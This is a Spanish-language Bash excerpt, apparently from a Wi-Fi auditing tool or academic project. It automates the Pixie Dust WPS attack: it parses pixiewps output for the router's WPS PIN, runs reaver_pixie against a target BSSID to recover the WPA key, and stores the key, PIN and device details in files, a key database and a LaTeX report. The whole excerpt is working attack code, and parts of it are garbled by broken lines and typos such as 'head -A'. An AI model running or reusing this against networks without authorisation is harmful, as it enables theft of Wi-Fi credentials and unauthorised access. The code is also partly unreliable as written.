

```

AnalizarLogPixiewps(){
    lineas_log=$(cat $ARCHIVO_TXT_ATAQUE | wc -l | awk {' print$1 '})
    for A in `seq 1 $lineas_log` ; do
        linea=`head -A $ARCHIVO_TXT_ATAQUE | tail -1`
        if [[ $linea == *"WPS pin"* ]]
        then
            if [[ $linea == *"not found"* ]]
            then
                echo "$BSSID : ATAQUE FALLIDO, BSSID NO VULNERABLE A
PIXIEWPS ATTACK" >$ARCHIVO_STATUSBAR
                AgregarBssidDatabases 2
                ATAQUE_ACABADO="SI"
                if [ $ACTUALIZAR_SCAN = "SI" ]; then
ProcesarDatosEscaneoAirodump; fi
                return 1
            fi
            PIN_WPS=`echo $linea | awk -F":" {' print $2 '}`

            echo "$BSSID : PIN WPS CONSEGUIDO, RECUPERANDO CLAVE WPA,
ESPERA ..." >$ARCHIVO_STATUSBAR

            X13="reaver_pixie -i $TARJETA_MODO_MONITOR -b $BSSID -a -D -c
$CANAL -p $PIN_WPS"

            reaver_pixie -i $TARJETA_MODO_MONITOR -b $BSSID -a -D -c $CANAL
-p $PIN_WPS &>>$ARCHIVO_TXT_ATAQUE

            let vez=2
            if EsperarAcabarReaver
            then
                if [ $ATAQUE_DETENIDO = "SI" ]; then return; fi
                RecuperarClaveWpa
            else
                CLAVE_WPA="NO SE HA PODIDO RECUPERAR LA CLAVE WPA"
            fi

            echo $fabricante > $ARCHIVO_TXT_ATAQUE
            echo $modelo >> $ARCHIVO_TXT_ATAQUE
            echo $numero_de_modelo >> $ARCHIVO_TXT_ATAQUE
            echo $numero_de_serie >> $ARCHIVO_TXT_ATAQUE
            echo $device_name >> $ARCHIVO_TXT_ATAQUE
            echo "- ESSID : "$ESSID >> $ARCHIVO_TXT_ATAQUE
            echo "- BSSID : "$BSSID >> $ARCHIVO_TXT_ATAQUE
            echo "- PIN WPS : "$PIN_WPS >> $ARCHIVO_TXT_ATAQUE
            echo "- KEY WPA : "$CLAVE_WPA >> $ARCHIVO_TXT_ATAQUE

            echo $fabricante > $CARPETA_KEYS"$ESSID.DATOS"
            echo $modelo >> $CARPETA_KEYS"$ESSID.DATOS"
            echo $numero_de_modelo >> $CARPETA_KEYS"$ESSID.DATOS"
            echo $numero_de_serie >> $CARPETA_KEYS"$ESSID.DATOS"
            echo $device_name >> $CARPETA_KEYS"$ESSID.DATOS"
            echo "- ESSID : "$ESSID >> $CARPETA_KEYS"$ESSID.DATOS"
            echo "- BSSID : "$BSSID >> $CARPETA_KEYS"$ESSID.DATOS"
            echo "- PIN WPS : "$PIN_WPS >> $CARPETA_KEYS"$ESSID.DATOS"

```

```

echo "-- KEY WPA : "$CLAVE_WPA >> $CARPETA_KEYS"$ESSID.DATOS"

fabricante=$(echo $fabricante | awk -F":" {' print $2 '})
modelo=$(echo $modelo | awk -F":" {' print $2 '})
numero_de_modelo=$(echo $numero_de_modelo | awk -F":" {' print
$2 '})
numero_de_serie=$(echo $numero_de_serie | awk -F":" {' print $2
'})
device_name=$(echo $device_name | awk -F":" {' print $2 '})

#Inicio Infome Latex PIXIEWPS-Template.tex
X1="pixiewps -e $PKe -r $PKr -s $EHash1 -z $EHash2 -a $AuthKey -
n $Enrollee"
X2=$PIN_WPS
X3="reaver_pixie -i $TARJETA_MODO_MONITOR -b $BSSID -a -D -c
$CANAL -p $PIN_WPS"
X4=$CARPETA_KEYS"$ESSID.DATOS"
(`sudo python "$RUTA_INFORME/PIXIEWPS.py" "$X1" $Pke $PKr
$EHash1 $EHash2
$AuthKey $Enrollee $X2 "$X3" "$X4"`)
#Fin Latex

if ! grep -q $BSSID $ARCHIVO_DATABASE_KEYS
then
    if [ "$CLAVE_WPA" = "NO SE HA PODIDO RECUPERAR LA CLAVE
WPA" ]; then CLAVE_WPA="?"; fi
    echo
$ESSID"|"BSSID"|"PIN_WPS"|"CLAVE_WPA"|"fabricante"|"modelo"|"n
umero_de_modelo"|
"$numero_de_serie"|"device_name >> $ARCHIVO_DATABASE_KEYS
else
    if [ $(grep $BSSID $ARCHIVO_DATABASE_KEYS | awk -
F"| " {'print $4'}) = "?" ] && [ $CLAVE_WPA != "?" ]
    then
        sed '/'$BSSID'/d' $ARCHIVO_DATABASE_KEYS | sed '/^$/d' >
TEMPORAL
        mv TEMPORAL $ARCHIVO_DATABASE_KEYS
        echo
$ESSID"|"BSSID"|"PIN_WPS"|"CLAVE_WPA"|"fabricante"|"modelo"|"n
umero_de_modelo"|
"$numero_de_serie"|"device_name >> $ARCHIVO_DATABASE_KEYS
    fi
fi
echo "$BSSID : ATAQUE FINALIZADO, SE HA GENERADO EL ARCHIVO
$ESSID.DATOS" > $ARCHIVO_STATUSBAR

AgregarBssidDatabases 3
ATAQUE_ACABADO="SI"
if [ $ACTUALIZAR_SCAN = "SI" ]; then ProcesarDatosScaneo; fi
fi
done
unset lineas_log A linea PIN_WPS CLAVE_WPA fabricante modelo
numero_de_modelo numero_de_serie device_name
}

```

```
RecuperarClaveWpa() {  
    lineas_log=$(cat $ARCHIVO_TXT_ATAQUE | wc -l | awk {' print$1 '})  
    let A=0  
    for A in `seq 1 $lineas_log` ; do  
        linea=`head -$A $ARCHIVO_TXT_ATAQUE | tail -1`  
        if [[ $linea == *"WPA PSK"* ]]  
        then  
            CLAVE_WPA=`echo $linea | awk -F":" {' print $2 '}`  
            CLAVE_WPA=`echo $CLAVE_WPA | awk -F"'" {' print $2 '}`  
        fi  
    done  
}
```